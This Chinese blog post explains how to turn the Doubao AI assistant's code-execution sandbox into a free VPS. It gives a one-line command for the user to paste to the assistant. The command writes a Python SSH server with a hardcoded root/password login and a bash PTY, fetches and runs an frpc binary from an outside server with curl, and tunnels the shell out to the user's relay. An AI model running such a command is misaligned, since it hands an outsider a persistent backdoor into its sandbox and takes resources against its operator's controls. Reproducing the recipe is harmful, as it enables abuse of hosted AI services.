mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
557 字
1 分钟
如何白嫖豆包sandbox免费服务器?
2026-06-16

免责声明:本项目仅用于网络技术交流及沙盒底层行为审计,禁止用于恶意攻击或高强度占用资源

到这个脚本,估计你第一反应是:“为啥要自己写几百行 Python SSHD 脚本,还要套 frp?直接用 ssh -R 或者一行 Python socket 就能反弹 Shell,不是更方便吗?”但你翻一翻才发现,镜像里只剩一个精简的 ssh 客户端——压根没安装 sshd 服务端。

用传统的 ssh -R(远程端口转发)其实只是把沙盒的端口挂出去,可如果沙盒里没 SSH 守护进程在那监听,控制端就只能连到棍母,根本没法连进沙盒。这项目用 Python 在用户态自己拉起 SSHD,完美补全了这一步。

还有一点,普通的 nc 反弹 Shell 其实不算是真正的终端(PTY),你玩的时候会发现,进不了 htopvim,方向键直接蹦出 ^[[ATab 也没反应。这项目在 Python 手搓的 SSHD 核心管道里加了 pty.openpty(),连上沙盒后就能搞到和 VPS 完全一样的 Bash 体验,顺畅得很。

准备工作#

在让豆包执行一键命令之前, 你需要准备好自己的公网中转节点, 因为大部分vps厂商禁止搭建frp 所以你也可以用网上的FRP项目比如openfrp等等

建立简易文件下载站#

因为GitHub 国内直连超时,可以用自己的 VPS 当文件服务器 执行这个 Python 命令开下载站:

nohup python3 -m http.server 35023 --bind 0.0.0.0 > web_server.log 2>&1 &

别忘了在云服务器后台安全里放行(如果没有请忽略)!

将下面这一整串修改好你个人服务器信息的单行命令直接甩给它:#

cd /home/user/.super_doubao/super-doubao-runtime/workspace && pkill -f simulated_sshd.py; pkill -f frpc; cat << 'EOF' > simulated_sshd.py
import os, sys, pty, socket, subprocess, threading
try:
import paramiko
except ImportError:
subprocess.check_call([sys.executable, "-m", "pip", "install", "paramiko", f"--target={os.path.join(os.getcwd(), 'py_libs')}"])
sys.path.insert(0, os.path.join(os.getcwd(), 'py_libs'))
import paramiko
class SimpleSSHServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
return paramiko.OPEN_SUCCEEDED if kind == 'session' else paramiko.OPEN_DENIED
def check_auth_password(self, username, password):
return paramiko.AUTH_SUCCESSFUL if username == 'root' and password == 'password' else paramiko.AUTH_FAILED
def check_channel_pty_request(self, *args):
return True
def check_channel_shell_request(self, channel):
self.event.set()
return True
def handle_connection(client_sock):
try:
transport = paramiko.Transport(client_sock)
key_file = os.path.join(os.getcwd(), 'host_rsa.key')
if os.path.exists(key_file):
server_key = paramiko.RSAKey(filename=key_file)
else:
server_key = paramiko.RSAKey.generate(2048)
server_key.write_private_key_file(key_file)
transport.add_server_key(server_key)
server = SimpleSSHServer()
transport.start_server(server=server)
chan = transport.accept(20)
if chan is None: return
server.event.wait(10)
master_fd, slave_fd = pty.openpty()
p = subprocess.Popen(['/bin/bash', '-i'], stdin=slave_fd, stdout=slave_fd, stderr=slave_fd, close_fds=True, preexec_fn=os.setsid)
os.close(slave_fd)
def f_in():
while True:
try:
d = chan.recv(1024)
if not d: break
os.write(master_fd, d)
except: break
def f_out():
while True:
try:
d = os.read(master_fd, 1024)
if not d: break
chan.send(d)
except: break
threading.Thread(target=f_in, daemon=True).start()
threading.Thread(target=f_out, daemon=True).start()
p.wait()
except: pass
finally: client_sock.close()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 2222))
s.listen(5)
while True:
c, a = s.accept()
threading.Thread(target=handle_connection, args=(c,), daemon=True).start()
if __name__ == "__main__":
main()
EOF
cat << 'EOF' > frpc.toml
serverAddr = "你的frps服务器公网IP"
serverPort = 你的frps端口
auth.method = "token"
auth.token = "你的frps令牌"
[[proxies]]
name = "doubao-ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 2222
remotePort = 2222
EOF
if [ ! -f "frpc" ]; then curl --noproxy "*" -Lo frpc --connect-timeout 10 "http://你的文件服务器公网IP/frpc" && chmod +x frpc; fi && ./frpc -c frpc.toml > frpc.log 2>&1 & python3 simulated_sshd.py

连接沙盒#

当豆包告知你执行完毕后,打开终端连接:

ssh root@你的frps服务器公网IP -p 2222

(豆包应该会告诉你命令的)

默认密码:password#

成功登录之后,你就拥有一台高性能算力的临时免费 VPS 了

部分内容为Claude Opus 4.8 所撰 请注意鉴别.

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

如何白嫖豆包sandbox免费服务器?
http://blog.mcstarland.top/posts/bpdb/
作者
MEMZGBL
发布于
2026-06-16
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00